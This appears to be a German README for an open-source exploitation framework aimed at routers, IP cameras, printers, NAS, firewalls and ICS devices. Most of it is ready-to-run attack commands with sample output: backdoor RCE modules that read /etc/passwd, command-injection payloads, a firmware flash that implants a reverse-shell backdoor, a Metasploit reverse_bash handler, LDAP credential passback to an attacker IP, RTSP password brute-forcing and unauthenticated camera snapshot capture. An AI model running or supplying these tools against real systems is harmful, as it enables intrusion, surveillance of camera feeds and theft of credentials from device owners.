
Embedded Device Security Assessment Framework — 700 Module, 350 CVEs, 55 Hersteller, APT Group Engine. Deckt Router, IP-Kameras, GPON ONTs, ISP-CPEs, IoT/Embedded Edge ab.
Plattform-Hinweis: Dieses Framework wurde primär für Linux (Debian/Ubuntu/Kali) entwickelt und getestet. Die meisten hardwareabhängigen Module (WLAN-Adapter, USB-Geräte, Raw-Socket-Zugriff, Firmware-Tools) erfordern Linux. Die Ausführung unter Windows oder macOS kann bei vielen Modulen zu Fehlern oder eingeschränkter Funktionalität führen. Linux wird für maximale Kompatibilität dringend empfohlen.
Framework für Embedded- und Perimeter-Sicherheitsbewertung
EmbedXPL-Forge ist ein Open-Source-Exploitation- und Scanning-Framework für Sicherheitsexperten, die Router, Switches, IP-Kameras, NVR/DVR, GPON ONTs, ISP-CPEs, Drucker, IoT-, OT/ICS- und Embedded-Edge-Geräte auditieren. Es bietet 2800+ aktive Module für Credential-Tests, Vulnerability-Exploitation, Netzwerk-Scanning, Payload-Generierung, RTSP-Kamera-Angriffe, Firmware-Manipulation, mehrsprachige PolyExploit-Orchestrierung und ein vollständiges Drucker-Arsenal — mit 700+ CVEs, die über 114+ Hersteller abgebildet sind, und einer APT Group Attack Engine, die reale Angriffsketten von Nationalstaaten reproduziert.
Version: 3.2.0
pip install embedxpl[nse])Netzwerk / Router / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL
Kameras / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Cisco-Kameras · Geuterbruck · Honeywell-Kameras · Jovision · Siemens-Kameras · Xiongmai (OEM) · Zivif · MVPower DVR · Generische P2P-WLAN-Kameras · Generische DVR/NVR-OEM
Drucker / MFP: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · Generische IPP/PJL/LPD/CUPS/WSD
NAS / VPN / Firewall / Security: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent
ICS / OT / Robotik: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP
Smart Home / Maritime / Embedded OS: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (maritim) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen
pip install embedxpl embedxpl
### Option 2 — Mit Nmap-NSE-Skripten```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"
# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install
# Verify installation
python -m embedxpl.nse list
Hinweis: Unter Linux/macOS kann der Installationsschritt
sudoerfordern, um in/usr/share/nmap/scripts/zu schreiben. Ausführen:sudo python -m embedxpl.nse install
git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher
.venv/bin/python -m embedxpl.nse install
### Option 4 — Python-Modul```bash
pip install embedxpl
python -m embedxpl
pip install embedxpl
embedxpl
embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1
embedxpl -c "discover 192.168.1.0/24"
embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100
## Verwendung
### Interaktive Shell```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run
exf > apt list
exf > apt show apt28
exf > apt search mikrotik
exf > apt run apt28
exf > apt run apt28 0
### Netzwerkerkennung```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover
# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1
# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh
Discovery verwendet eine mehrphasige Pipeline: ARP-Sweep → Nmap (Multi-Method-Host-Probes) → Scapy → TCP-Connect-Fallback. Die Ergebnisse werden mit dem Modulkatalog abgeglichen und nach Hersteller/Modell gefiltert. Die IEEE-OUI-Datenbank (embedxpl/data/oui.txt) löst MAC-Adressen zu Herstellern auf, mit Online-First-Lookup und lokalem Fallback. Wenn ein Host WiFi-Fähigkeiten bereitstellt, empfiehlt das Tool WirelessXPL-Forge für drahtlosspezifische Angriffe.
Timing-Profile (T0–T5) spiegeln die Nmap-Konventionen wider:
exf > sessions list
exf > sessions show 192.168.1.1
exf > sessions export 192.168.1.1
exf > sessions delete 192.168.1.1
exf > sessions purge
Sessions werden in `~/.exf_sessions/` als JSON gespeichert, verschlüsselt mit SHA-256 von IP+MAC. Bei der Wiederentdeckung eines bekannten Hosts werden bereits getestete Module als `[Tested]` angezeigt und standardmäßig übersprungen.
### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run
Voll ausgestattete RTSP-Angriffs-Pipeline mit Python-nativer Implementierung, die alle standardmäßigen RTSP-Transportmodi abdeckt.
from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream
scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])
attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)
for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True
**Erwartete Ausgabe:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3
hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])
**Erwartete Ein-/Ausgabe:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])
# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]
Wird verwendet, wenn Kameras hinter HTTP-Proxys oder Unternehmensfirewalls stehen, die TCP/554 blockieren.```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel
tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )
client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")
**Erwartete Eingabe/Ausgabe:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
status = 200
server = "Hikvision IP Camera NVRA (V5.4.5)"
methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"
embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options
Option Default Description
target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery
embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run
## Nmap NSE-Skripte
EmbedXPL-Forge enthält 7 benutzerdefinierte Nmap NSE-Skripte für IoT-/Kamera-Scans und CVE-Erkennung.
### Installation```bash
# Install with NSE extras
pip install "embedxpl[nse]"
# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install
# Force overwrite existing scripts
python -m embedxpl.nse install --force
# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts
Erwartete Ausgabe:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse
Installed: 7 script(s) [OK] nmap --script-updatedb complete
### Auflisten / Info```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover
embedxpl-rtsp-discover — RTSP-DiensterkennungErkennt RTSP-Dienste, liest den Server:-Banner aus, identifiziert den Hersteller, listet unterstützte Methoden auf und gleicht bekannte CVEs ab.```bash
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24
**Erwartete Ausgabe:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
| Status : 200
| Server : Hikvision IP Camera NVRA (V5.4.5)
| Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
| Vendor : Hikvision
| Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
| EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_ Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack
embedxpl-camera-identify — Tiefgehende Kamera-FingerabdrückeMulti-Protokoll-Identifikation: sondiert HTTP/HTTPS-Web-UI, RTSP-Banner und ONVIF. Extrahiert Hersteller, Modell, Firmware, Seriennummer und MAC.```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24
**Erwartete Ausgabe (Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
| Protocol : HTTP (HTTP 200)
| Vendor : Hikvision
| Model : DS-2CD2143G0-I
| Firmware : V5.6.2 build 190401
| Serial : DS-2CD2143G0-I20190401AAWRA123456789
| CVEs : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
| Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
| EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_ Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
embedxpl-hikvision-vuln — Hikvision CVE-PrüferAktive Validierung von CVE-2021-36260 (RCE über /SDK/webLanguage, CVSS 9.8) und CVE-2017-7921 (Auth-Bypass-Snapshot).```bash
nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100
nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-hikvision-vuln:
| Device : DS-2CD2143G0-I
| Firmware : V5.3.0 build 170112
| CVE-2021-36260 : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
| CVE-2017-7921 : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
| EmbedXPL RCE module : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_ Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
embedxpl-dahua-vuln — Dahua CVE-CheckerTestet CVE-2021-33044 (Auth-Bypass, CVSS 9.8), CVE-2020-25078 (Benutzeroffenlegung), CVE-2013-6117 (Legacy-DVR). Deckt außerdem Dahua-OEMs ab: Amcrest, Intelbras, TVT, Jovision, ANNKE.```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-dahua-vuln:
| Vendor : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
| CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
| CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
| CVE-2013-6117 : NOT VULNERABLE
| EmbedXPL Auth Bypass : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
| EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
embedxpl-rtsp-creds — RTSP-Standard-Anmeldedaten-TesterTestet 18 Standard-Anmeldedaten-Paare über 9+ gängige RTSP-Routen mittels Basic-Auth. Meldet die erste Übereinstimmung.```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100
nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100
**Erwartete Ausgabe:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
| Server : Hikvision IP Camera NVRA
| Credential found : admin: (empty password)
| Stream URL : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
| Auth type : Basic
| Response code : 200
| EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_ Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack
embedxpl-iot-cve-check — Multi-Vendor-CVE-FingerprintErkennt und validiert 10 aktive CVEs über Hikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall und GPON hinweg.```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-iot-cve-check:
| CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
| → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| CVE-2021-33044 (Dahua, CVSS 9.8) : NOT VULNERABLE — HTTP 404
| EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_ Full exploitation: pip install embedxpl && embedxpl
embedxpl-camera-snapshot — Unauthentifizierter Snapshot-ZugriffPrüft 16 herstellerspezifische Snapshot-Endpunkte. Meldet jede URL, die image/* ohne Anmeldedaten zurückgibt. Speichert optional JPEG-Dateien lokal.```bash
nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100
nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-camera-snapshot:
| Endpoint 1 (Dahua):
| URL : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
| Content-Type : image/jpeg
| Size : 45231 bytes
| Access : UNAUTHENTICATED SNAPSHOT ACCESS
| EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all
python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554
**Deinstallieren:**```bash
python -m embedxpl.nse uninstall
embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run
**Was es tut:**
1. Erkennt das Firmware-Format (TRX, DLOB, SEAMA, WRGG, rohe Binärdatei)
2. Injiziert eine Reverse-Shell-Backdoor an einem geeigneten Offset
3. Berechnet die CRC32/MD5-Prüfsumme neu
4. Lädt sie über einen herstellerspezifischen Flash-Endpunkt hoch (umgeht die Authentifizierung, wo anwendbar)
5. Wartet auf den Neustart des Geräts und überprüft die Ausführung der Backdoor
## PolyExploit Orchestrator
Ermöglicht die Laufzeitkompilierung von C/C++ und die Ausführung von Skripten in mehreren Sprachen für Exploits, die nicht auf reines Python portierbar sind.
### C/C++-Laufzeitkompilierung```python
from embedxpl.core.poly import CCompiler
compiler = CCompiler()
# Check available compilers
print(compiler.compiler_available()) # {'gcc': True, 'clang': False, 'mingw': False}
# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
// Stack overflow PoC
char buf[64];
memcpy(buf, argv[1], atoi(argv[2]));
return 0;
}
""",
arch="x86", # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)
# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)
from embedxpl.core.poly import PolyRunner
runner = PolyRunner() print(runner.available_runtimes())
result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])
runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })
results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])
## Neu in v3.1.0 — CVE 2026/2025/2024 + Drucker-Domain + Quality Gates
**54 neue Module** über Drucker, Embedded OS, ICS/OT, Smart Home, Maritime IoT und 2026 Pwn2Own-Ketten hinweg. Wichtige Highlights:
### 2026 Pwn2Own-Ketten```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed
# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run
exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run
exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run
exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)
exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)
exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run
exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run
### Printer Arsenal Beispiele```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS : READY
INFO PAGECOUNT : 12847
INFO MEMORY : 512000 BYTES
# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run
# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication
27+ Exploit-Module, die auf Werkskennwörter, fest codierte Backdoors, Standard-WPA-Schlüsselgenerierungsalgorithmen und DNS-Hijack-CSRF-Vektoren bei älteren und modernen SOHO-Routern abzielen. Wichtige Beispiele:```
exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b
exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l
exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...
exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b
exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...
exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi
exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/
**Alle 27 neuen Anbieter/Module:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · plus belkin, netgear, trendnet Lückenfüller.
## Modulstruktur```
embedxpl/
├── core/
│ ├── rtsp/ # RTSP camera engine
│ │ ├── client.py # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│ │ ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│ │ ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│ │ └── models.py # RTSPStream dataclass, AuthType enum
│ └── poly/
│ ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│ └── runner.py # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│ ├── creds/ # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│ ├── exploits/
│ │ ├── cameras/ # IP camera exploits by vendor
│ │ │ ├── multi/ # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│ │ │ ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│ │ │ ├── dahua/ # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│ │ │ ├── axis/ # Axis (CVE-2018-10660, ...)
│ │ │ ├── reolink/ # Reolink (CVE-2021-40655, CVE-2022-30600)
│ │ │ ├── amcrest/ # Amcrest (CVE-2019-3950)
│ │ │ ├── uniview/ # Uniview UNV (CVE-2024-37630)
│ │ │ ├── tapo/ # TP-Link Tapo (CVE-2021-4045)
│ │ │ ├── annke/ # ANNKE DVR/NVR (CVE-2021-32941)
│ │ │ ├── swann/ # Swann DVR/NVR (default creds + RTSP)
│ │ │ └── edimax/ # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│ │ ├── firmware/ # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│ │ ├── nas/ # NAS exploits (QNAP, D-Link NAS, Zyxel)
│ │ ├── routers/ # Router exploits by vendor (85 vendor folders — see full list below)
│ │ ├── vpn/ # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│ │ ├── switches/ # Switch exploits (Cisco, D-Link, NETGEAR)
│ │ └── soho_edge/ # SOHO edge device exploits
│ ├── scanners/ # Network scanning and AutoPwn
│ ├── payloads/ # Reverse/bind shells (multi-arch)
│ ├── encoders/ # Payload encoding (Base64, Hex)
│ └── generic/ # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/ # NSE script manager (Python)
│ ├── manager.py # NSEManager class — install/uninstall/list/run
│ └── __main__.py # CLI: python -m embedxpl.nse
├── resources/
│ └── rtsp/
│ ├── routes.txt # 195+ RTSP stream paths
│ └── credentials.json# 80+ default username:password pairs
└── data/
└── oui.txt # IEEE OUI database for MAC-to-vendor lookup
nse/ # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse
Dieser Abschnitt dokumentiert die ISP-Gerätemodule, Backdoor-/Werkskennwort-Exploits, das RTSP-Client-Framework, OSINT-Tools und spezialisierte Sicherheitsmodule.
Exploits und Scanner, die auf ISP-bereitgestellte CPEs und IP-Kameras abzielen, die üblicherweise von Internetanbietern eingesetzt werden (Sercomm-basierte ONTs, GPON-CPEs und ISP-markierte Geräte).
Anwendungsbeispiele:```bash
embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run
